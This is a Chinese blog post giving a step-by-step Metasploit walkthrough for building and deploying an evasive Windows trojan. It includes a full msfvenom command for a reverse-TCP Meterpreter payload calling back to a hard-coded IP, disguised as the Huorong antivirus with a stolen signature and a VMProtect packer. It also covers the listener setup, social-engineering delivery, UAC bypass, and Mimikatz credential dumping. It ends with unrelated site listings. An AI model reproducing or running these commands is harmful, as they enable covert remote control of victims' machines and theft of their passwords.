news 2026/4/15 16:37:54

一次msf免杀渗透入门实践

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
一次msf免杀渗透入门实践

攻击对象:windows主机

一.shell制作

1.准备工具

kali-linux Metasploit模块(msfvenom和msfconsole) VMP加壳软件 https://gitcode.com/Universal-Tool/42a67/blob/main/VMProtect%20Ultimate%20v3.3.1.zip sigthief签名软件 https://github.com/secretsquirrel/SigThief ResHacker资源替换软件https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

2.创建shell(编码加密+捆绑软件)

msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.239.21.238 LPORT=1235 -e x86/shikata_ga_nai -x test.exe -i 12 -f exe -O huorong.exe

-p:指定payload类型为Windows Meterpreter反向TCP连接

LHOST:控制端IP地址

LPORT:控制端监听端口

-e x86/shikata_ga_nai:指定编码器为shitaka_ga_nai(一种多态编码器,适合x86架构)

-x test.exe:指定要捆绑的原始可执行文件

-i 12:指定12次编码(多次编码可以增强免杀效果,但会增加文件大小)

-f exe:指定输出格式为windows可执行文件

-O:输出shell到指定文件

3.替换资源

用RH替换火绒的图标

4.vmp加壳

打开vmp,使用vmp进行加壳

5.数字签名

将sigthief.py文件放在当前目录下

python sigthief.py -i HipsMain.exe -t huorong.exe -o hr.exe
-i:要提取签名的文件 -t:应用签名的文件 -o:输出的目标文件

6.查杀结果(23/72)

说实话,这个免杀还是太简陋了点,应该再加点pe修改或多次加密,最好是自研脚本(1/62的查杀率:D)

二.远程控制

tip(核心难点:通过社工把这个shell安然无恙放到目标主机上,当然要是对方电脑上啥安全措施都没就当我没说)

1.打开msfconsole

msfconsole

2.选择监听器

use exploit/multi/handler

exploit/multi/handler:一个多功能监听器(建立监听岗位)

3.配置载荷

set payload windows/meterpreter/reverse_tcp

windows/meterpreter/reverse_tcp:建立一个反向TCP连接(由机器内部向外网发起连接,更容易成功)

4.配置攻击机设置

set LHOST 47.239.21.238 set LPORT 1235

这里的LHOST与LPORT必须跟木马的一致

5.显示配置

show options

6.开始监听

exploit(或run)

当木马在目标机上运行时,攻击机就能与目标机进行连接从而实现控制目的

三.控制指令

run vnc -i#监视屏幕 upload ./oriFile ./desName#上传文件到靶机 download ./desFile ./local#下载靶机文件 shell#进入靶机终端 sysinfo#显示靶机基本信息 screenshot#屏幕截图

四. 反病毒与防御绕过

在实际渗透测试中，防病毒软件、入侵检测系统（IDS）、入侵防御系统（IPS）等防御措施通常会成为绕过攻击的一个大难题。为了提高渗透测试成功的几率，理解如何绕过这些防御措施是非常重要的。

1.反病毒绕过

反病毒软件通常通过签名检测、行为分析和沙箱技术来发现和拦截恶意软件。针对这些防御技术，可以采用以下方法绕过：

  • 加密与编码：通过多次编码和加壳来改变恶意代码的特征，使其难以被反病毒软件识别。例如，使用msfvenom的-e参数指定编码器，如x86/shikata_ga_nai，以及多次编码（-i参数）。

  • 使用多种加壳工具：除了VMP（VMProtect）之外，还可以使用其他加壳工具，如Themida、Enigma Protector等，来进一步增强木马的隐蔽性。

  • 注入合法进程：通过将恶意载荷注入到合法进程（如explorer.exe、svchost.exe）中，从而绕过反病毒软件的监控。

  • 利用签名伪装：使用SigThief等工具获取有效的数字签名并伪装恶意文件，以提高木马的可信度。

2.沙箱检测绕过

现代的反病毒软件往往会将未知程序发送到虚拟沙箱中执行，以检测其是否为恶意软件。为此，可以采取以下策略：

  • 延迟执行：通过在恶意代码中加入延时代码，推迟代码执行的时间，从而避免在沙箱中被立即检测到。

  • 反沙箱检测：通过检查系统环境（如检测是否处于虚拟机中），在程序启动时决定是否执行恶意载荷。

3.反入侵检测系统（IDS/IPS）绕过

入侵检测和防御系统的目的是监控和拦截网络中的恶意行为。为了绕过这些系统，可以采取以下技术：

  • 流量加密：通过加密通信流量，防止IDS/IPS检测到恶意流量的特征。

  • 变换攻击模式：通过变换攻击的方式（如对shellcode进行变形或使用不同的攻击方法），使得攻击流量不易被IDS/IPS的规则库检测到。

五. 后渗透技巧

一旦成功获取了目标主机的控制权，后渗透阶段的目标通常是扩大权限、横向移动和收集更多的信息。以下是一些常见的后渗透技巧：

1.权限提升

  • 利用弱密码：通过暴力破解或字典攻击，获取目标主机上的管理员权限。

  • 利用漏洞：针对操作系统或应用程序中的已知漏洞（如MS17-010 EternalBlue）进行漏洞利用，提升权限。

2.横向移动

  • Pass-the-Hash：通过捕获目标主机上的哈希值，将其用作身份验证，访问同一网络中的其他主机。

  • RDP攻击：利用已获取的凭证，通过远程桌面协议（RDP）访问其他目标主机。

3.信息收集

  • 系统信息收集：使用sysinfo、ipconfig、netstat等命令收集目标主机的基本信息。

  • 凭证抓取：使用mimikatz等工具抓取目标主机上的明文密码、存储在Windows凭据管理器中的密码、LSA凭证等。

4.保持持久性

  • 植入反向Shell：通过修改注册表或启动项，确保恶意代码在每次重启后自动运行。

  • 建立反向连接：利用如netcat等工具，配置目标主机与攻击机之间的反向连接，保持持久的访问权限。

六. 防御与检测

了解防御技术对于渗透测试者来说至关重要。只有了解了防御方的做法，才能设计有效的攻击策略。

1.反病毒与IDS/IPS监控

反病毒软件通常会监控文件系统中的可疑活动，IDS/IPS会监控网络流量。渗透测试者需要了解如何绕过这些监控，或者模拟防御方可能采取的反制措施。

2.日志审计与分析

许多组织会启用日志记录功能，特别是针对管理员权限的操作。日志审计可以帮助检测异常行为。因此，攻击者需要注意隐藏操作痕迹，甚至伪造日志条目。

3.基于行为的检测

许多高级反病毒软件和IDS/IPS系统都采用了行为分析，检测程序是否表现出恶意行为。因此，攻击者需要避免使用常见的攻击模式，并尽量使攻击行为更隐蔽

拓展内容:

1.msfconsole相关命令
常用监听器配置 set ExitOnSession false#接收多个会话 exploit -j#让监听器在后台运行 set AutoRunScript post/windows/manage/migrate自动迁移进程(避免程序关闭导致会话丢失) 常用payload set payload windows/meterpreter/reverse_tcp#反向TCP set payload windows/meterpreter/reverse_https#反向HTTPS set payload windows/meterpreter/bind_tcp#绑定TCP set payload linux/x64/meterpreter/reverse_tcp#linux系统反向TCP set payload android/meterpreter/reverse_tcp#安卓应用反向TCP
2.在msf中使用kiwi(Mimikatz)模块

提权(如果当前权限非Administrator或System时):

方法一:

getuid#查看当前系统权限 getsystem#多数情况下不能获取,可以试一下

方法二:

background#把会话放到后台 use exploit/windows/local/bypassuac#尝试绕过UAC set session [UID]#设置会话 exploit

方法三:

use exploit/windows/local/ask#利用UAC提权 set session [UID] set FILENAME System32.exe#设置一个迷惑的名字 exploit ##靶机只要允许程序运行即可提权

查看当前权限:

run post/windows/gather/win_privs#如果在本地管理员组就能用kiwi

kiwi相关用法:

load kiwi#加载kiwi模块 creds_all#列举所有凭据 creds_msv#列举所有msv凭据 creds_ssp#列举所有ssp凭据 kiwi_cmd:执行mimikatz的命令,后面接mimikatz命令 kiwi_cmd privilege::debug#尝试获取debug权限 kiwi_cmd sekurlsa::logonpasswords#使用kiwi抓取全部明文密码

参考资料:https://blog.csdn.net/weixin_46236101/article/details/114745232?spm=1001.2014.3001.5506

https://blog.csdn.net/weixin_74545038/article/details/134315726?spm=1001.2014.3001.5502

版权声明: 本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若内容造成侵权/违法违规/事实不符，请联系邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！
网站建设 2026/4/11 13:00:51

场馆预约小程序开发：解锁 “预约经济” 的高效解决方案

在数字化转型加速的背景下，场馆预约需求已渗透体育、办公、教育、文旅等多个领域。传统线下预约模式存在 “信息不透明、操作繁琐、管理低效” 等痛点，而小程序凭借 “轻量化、高触达、易操作” 的优势，成为场馆预约场景的理想载体。本文从核…

作者头像 李华
网站建设 2026/4/15 10:02:32

Product Hunt 每日热榜 | 2025-12-16

1. Unloop 标语：为注意力缺陷多动症（ADHD）和神经多样性思维者设计的视觉模式映射 介绍：Unloop 是一款可视化的模式映射工具，帮助你识别那些让你感到陷入困境的触发因素、想法、情绪和行为。把这些内容可视化&#xf…

作者头像 李华
网站建设 2026/4/10 9:38:31

软考高项｜老金团队三位大神老师，总有一位适合你！

备考软考高项还在为选老师纠结吗？ 今天给大家安利老金团队的三大王牌老师 他们各有所长，能cover所有备考需求👇🏆 学术泰斗：金老师▪️ 教学特色：30年高校教学经验，理论功底深厚 ▪️ 拿手绝活&…

作者头像 李华
网站建设 2026/4/9 23:10:03

大模型学习笔记

公司私有数据大模型应用方案1. RAG（Retrieval Augmented Generation）1）工作原理RAG 通过从外部知识库中检索相关信息，并将其作为提示输入给大型语言模型（LLMs），以增强模型处理知识密集型任务的能…

作者头像 李华
网站建设 2026/4/4 0:21:32

Windows Subsystem for Linux (WSL) 介绍

💻 Windows Subsystem for Linux (WSL) 介绍 WSL（适用于 Linux 的 Windows 子系统）是微软开发的一项 Windows 功能，它允许开发人员直接在 Windows 操作系统上运行完整的 GNU/Linux 环境，包括大多数命令行工具、实用程序…

作者头像 李华
网站建设 2026/4/9 23:30:53

sward全面介绍(13) - 集成Ldap，使用Ldap用户登录sward

集成ldap用户功能划入社区版本，本篇文章将全面介绍如何在sward中集成ldap用户并实现ldap用户登录sward。1、配置Ldap进入系统设置->用户->用户目录，点击Ldap后的配置按钮，填写Ldap的配置信息。参数说明类型选择Ldap服务器类型AD/LDAP名…

作者头像 李华